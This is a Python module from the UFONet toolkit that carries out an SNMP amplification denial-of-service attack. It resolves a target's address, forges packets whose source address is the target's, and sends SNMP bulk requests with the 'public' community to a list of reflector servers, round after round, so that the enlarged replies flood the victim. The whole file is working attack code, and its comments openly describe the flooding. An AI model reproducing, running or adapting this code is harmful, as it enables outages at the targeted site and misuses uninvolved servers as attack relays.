sniper.py 3.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. from scapy.all import *
  13. except ImportError:
  14. from core._ensure import ensure
  15. if ensure('scapy.all', 'scapy') is None:
  16. print("\nError importing: scapy lib.\n")
  17. sys.exit(2)
  18. from scapy.all import *
  19. snmp_file = "botnet/snmp.txt" # SNMP servers IP list
  20. oid ="1.3.6.1.2.1.1.1" # OID sysDescr
  21. # UFONet SNMP Amplification (SNIPER) / [Port: UDP/161]
  22. def sniperize(ip, rounds):
  23. n=0
  24. try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic
  25. from core._botnet import load_botnet_file, warn_placeholders
  26. snmp_d, _empty, _all_ph = load_botnet_file(snmp_file)
  27. if _empty:
  28. print("[Error] [AI] [SNIPER] botnet/snmp.txt is empty -> [Aborting!]")
  29. return
  30. if _all_ph:
  31. warn_placeholders("SNIPER", snmp_file, kind="snmp")
  32. return
  33. p_num=0
  34. for x in range (0,int(rounds)):
  35. try:
  36. n=n+1
  37. print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
  38. for j in snmp_d:
  39. p_num += 1
  40. packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))
  41. try:
  42. send(packet, verbose=0) # not using sr1 because non-replies are required
  43. print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
  44. except:
  45. print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
  46. except:
  47. print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]")
  48. except:
  49. print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]")
  50. class SNIPER(object):
  51. def attacking(self, target, rounds):
  52. print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]")
  53. if target.startswith('http://'):
  54. target = target.replace('http://','')
  55. elif target.startswith('https://'):
  56. target = target.replace('https://','')
  57. try:
  58. ip = socket.gethostbyname(target)
  59. except:
  60. try:
  61. import dns.resolver
  62. r = dns.resolver.Resolver()
  63. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  64. url = urlparse(target)
  65. a = r.resolve(url.netloc, "A") # A record
  66. for rd in a:
  67. ip = str(rd)
  68. except:
  69. ip = target
  70. if ip == "127.0.0.1" or ip == "localhost":
  71. print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  72. return
  73. sniperize(ip, rounds) # attack with SNIPER using threading